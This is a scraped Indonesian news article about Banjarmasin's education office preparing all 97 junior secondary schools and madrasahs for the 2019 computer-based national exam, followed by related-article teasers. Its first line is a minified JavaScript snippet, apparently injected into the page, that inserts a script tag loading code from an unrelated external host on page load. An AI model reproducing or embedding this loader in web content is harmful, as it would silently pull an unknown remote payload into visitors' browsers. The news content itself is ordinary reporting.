(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Lompatan besar dilakukan Dinas Pendidikan (Disdik) Banjarmasin terkait pelaksanan Ujian Nasional Berbasis Komputer (UNBK) 2019 yang akan digelar 22-25 April nanti. Jika sebelumnya tak semua sekolah menggelar ujian sistem komputer ini, pada tahun ini sebanyak 97 sekolah SMP/sederajat dengan jumlah siswa sebanyak 10.182 yang ada di Banjarmasin mengikuti UNBK baik secara mandiri maupun bergabung.
Hal tersebut sebagaimana disampaikan Kepala Dinas Pendidikan Kota Banjarmasin, Totok Agus Daryanto saat menggelar jumpa pers, Rabu (23/1) di kantornya. Rincinya, akan ada 35 SMP negeri dan 28 SMP swasta mengikuti UNBK. Dari angka itu, Totok merinci ada 30 SMP negeri dan 11 SMP swasta menggelar UNBK mandiri. Sedangkan SMP sisanya menggelar UNBK secara gabungan ke SMA yang punya fasilitas untuk menggelar UNBK.
Sedangkan madrasah tsanawiyah, ada 4 MTs Negeri dan 11 MTs Swasta yang melaksanakan UNBK mandiri. Ditambah lagi ada 19 MTs Swasta lainnya yang menggunakan sistem UNBK bergabung. Sehingga, total seluruhnya akan ada 97 sekolah.
Dari jumlah tersebut, menurut Totok, ada sebanyak 6.910 siswa yang berasal dari SMP negeri yang menjadi tanggungjawabnya. “Baru kali ini kami mengadakan pertama kalinya keseluruhan berbasis komputer. Sebelumnya tahun 2018 kalau di sekolah negeri cuma 10 sekolah yang menerapkan UNBK, tahun ini seluruh sekolah bahkan juga sekolah swasta dan MTs serta MtsN,” terangnya.
Totok merasa bukan perkara mudah menerapkan UNBK serentak karena harus berkordinasi maksimal dengan PLN dan provider internet untuk kelancaran UNBK 2019. “Saat ini kami sudah meninjau kebeberapa sekolah di pelosok Banjarmasin, Alhamdulillah jaringan 4G di Banjarmasin sudah menyeluruh. Masalah listrik pun sudah kami kordinasikan dengan pihak PLN agar memprioritaskan pelaksanaan UNBK dulu,” katanya.
Persentasi pelaksanaan UNBK tingkat SMP sederajat di Banjarmasin ada kenaikan bertahap dalam tiga tahun terakhir. Dari 67,34% pada 2017, kemudian tahun 2018 di angka 97,68% dan tahun 2019 mampu melaksanakan 100%.
Totok mengatakan, tak ada lagi sekolah yang tidak UNBK pada tahun ini. Ia berharap, untuk pelaksanaannya tidak menemui kendala berarti.(mario)
KANALKALIMANTAN.COM, BAKU - Pemerintah Indonesia melalui Utusan Khusus Presiden Republik Indonesia Hashim Djojohadikusumo berhasil memikat… Read More
KANALKALIMANTAN.COM, BANJARBARU - Forum Ambin Demokrasi turut menyikapi jalannya proses demokrasi dalam Pemilihan Wali Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Kota Banjarbaru mulai masuk masa tenang jelang Pemilihan Kepala Daerah (Pilkada) Serentak… Read More
Coblos Paslon yang Dibatalkan Suara Dianggap Tidak Sah Read More
KANALKALIMANTAN.COM, BANJARBARU - Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP telah bertugas… Read More
KANALKALIMANTAN.COM, AMUNTAI - Menjelang hari pemilihan dan memasuki masa tenang Pemilihan Kepala Daerah (Pilkada) 2024,… Read More
This website uses cookies.